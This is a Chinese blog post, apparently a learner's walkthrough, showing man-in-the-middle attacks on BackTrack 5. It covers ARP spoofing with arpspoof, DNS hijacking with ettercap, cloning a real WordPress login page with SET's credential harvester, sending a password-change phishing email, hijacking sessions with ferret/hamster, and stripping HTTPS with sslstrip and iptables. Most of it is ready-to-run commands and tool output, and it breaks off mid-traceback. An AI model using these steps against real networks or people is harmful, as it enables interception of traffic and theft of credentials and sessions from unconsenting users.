在西安xdsec的时候,听一个小伙伴提到过中间人攻击
现在觉得有必要研究下,拒绝文盲
MITM: Man-in-the-middle attack
事先说明,本博文实在BT5r3下实现的
======================================
经过百度:
ARP Table采用老化机制,某一行一段时间不用就被删除,提速。
hacker大量发ARP包产生大量ARP通信量使通络堵塞,A就找不到B,A必然会发ARP Request包问:B是谁,
此时hacker的伪造包,也就改变了A中的ARP Table。
因为(1)中已经提到,局域网中充斥着大量hacker伪造B的ARP响应包,B竞争不过hacker,所以hacker会比B更快响应。
A(192.168.0.1) <-> B(192.168.0.109)
A's MAC: 00-0C-29-7A-33-66
B's MAC: 34-08-04-0B-70-E8
192.168.0.108
hacker's MAC: 00:0c:29:0a:ab:97
A -> hacker -> B
A <- hacker <- B
echo 1 > /proc/sys/net/ipv4/ip_forword
#欺骗192.168.0.109,hacker就是192.168.0.1:
root@bt:~# arpspoof -i eth0 -t 192.168.0.109 192.168.0.1
#欺骗192.168.0.1,hacker就是192.168.0.109:
root@bt:~# arpspoof -i eth0 -t 192.168.0.1 192.168.0.109
root@bt:~# wireshark
ip.addr==192.168.0.109 and
ip.src==192.168.0.109 and
ip.dst==192.168.0.109
tcp.port == 80
过滤协议:
http or telnet
DNS劫持!
DNS劫持是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能反应或访问的是假网址。
echo 1 > /proc/sys/net/ipv4/ip_forword
root@bt:~# ettercap -G #启动可视化
Sniff -> Unified Sniffing
Eth0 -> OK
Hosts -> Scan for hosts
Hosts -> Hosts List
Add to target1 -> 192.168.0.1 #网关
Add to target2 -> 192.168.0.111 #受攻击者
Mitm -> Arp poisoning
Start -> Start sniffing
root@bt:/usr/share# locate etter.dns
/usr/local/share/ettercap/etter.dns
/usr/local/share/videojak/etter.dns
root@bt:/usr/share# gedit /usr/local/share/ettercap/etter.dns
这么修改:
ettercap -> Plugins -> Mange the plugins
双击 dns_spoof 出现:Activating dns_spoof plugin..
等一段时间。。.(十分钟之内吧。。)
http://www.xigema-team.org/wp-login.php
root@bt:~# cd /pentest/exploits/set/
root@bt:/pentest/exploits/set# ./set
Select from the menu:
1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Update SET configuration
7) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
set> 1
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors
11) Third Party Modules
99) Return back to the main menu.
set> 2
Select from the menu:
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Man Left in the Middle Attack Method
6) Web Jacking Attack Method
7) Multi-Attack Web Method
8) Victim Web Profiler
9) Create or import a CodeSigning Certificate
99) Return to Main Menu
set:webattack>3
The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
1) Web Templates
2) Site Cloner
3) Custom Import
set:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.0.108
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:http://www.xigema-team.org/wp-login.php
[*] Cloning the website: http://www.xigema-team.org/wp-login.php
[*] This could take a little bit...
The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[!] I have read the above message.
Press to continue
[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
在网站克隆的时候,需要注意点就是,大网站如gmail.com,mail.qq.com直接clone会失败。
因为这些网站的js代码会探测是否是正常环境并跳转链接。.。
如果手工下载网页,对JS代码做一些修改。。
盗密码果然需要麻烦一些:内网+改页面代码。。
当然,BT5也集成了5个模板:gmail,facebook,twitter,google,java required(这是啥?)
可是使用gmail的时候,竟然因为cookie被禁用而error,其实不是cookie被禁用,而是里面有一段保护的js代码!
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors
11) Third Party Modules
99) Return back to the main menu.
set> 5
Social Engineer Toolkit Mass E-Mailer
There are two options on the mass e-mailer, the first would
be to send an email to one individual person. The second option
will allow you to import a list and send it to as many people as
you want within that list.
What do you want to do:
1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
99. Return to main menu.
set:mailer>1
set:phishing> Send email to:[email protected]
1. Use a gmail Account for your email attack.
2. Use your own server or open relay
set:phishing>1
set:phishing> Your gmail email address:[email protected]
Email password:
set:phishing> Flag this message/s as high priority? [yes|no]:y
set:phishing> Email subject:change your password from xigema-team.org
set:phishing> Send the message as html or plain? 'h' or 'p' [p]:h
set:phishing> Enter the body of the message, hit return for a new line. Control+c when finished:www.xigema-term.org/wp-login.php change your password!
Next line of the body: ^C
[*] SET has finished sending the emails
root@bt:~# locate hamster
root@bt:/pentest/sniffers/hamster# ./ferret -r /root/Desktop/baidu.pcap
它就创建一个叫hamster.txt的文件,以便hamster进行真正的会话劫持~
root@bt:/pentest/sniffers/hamster# ls
favicon.ico ferret hamster hamster.css hamster.js hamster.txt
firefox -> edit -> preferences -> Advanced -> Network -> Connection Setting
配置为1234端口监听
遇到gmail又一次失败,连接不到服务器!
换成百度网盘则成功,这里我猜想,gmail不全是靠cookie验证~
而且,即使我们的受攻击者,关闭了百度网盘,在BT5下,也是劫持成功的!
How does this work?
First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).
At this point, sslstrip receives the traffic and does its magic.
root@bt:~# echo "1" > /proc/sys/net/ipv4/ip_forward
这个太坑爹了,每次重启都得来一次。以为它是固定的,然后出错了,各种没头绪呢,网上的资料太少了。
大家每次重启后,一定要记得开启啊!!
root@bt:/pentest/web/sslstripiptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
如此一来,就把受攻击机上的来自80端口的流量全部导入10000端口,此时,受攻击机器,应该是上不了网的。
但是可以ping 通。
root@bt:/pentest/web/sslstrip# python sslstrip.py -p -l 10000 -w log.txt
-l 是监听
-p 是只记录SSL PORT的内容
root@bt:/pentest/web/sslstrip# python sslstrip.py -p -l 10000 -w log.txt
sslstrip 0.9 by Moxie Marlinspike running...
Unhandled Error
Traceback (most recent call last):
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-i686.egg/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-i686.egg/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, *ar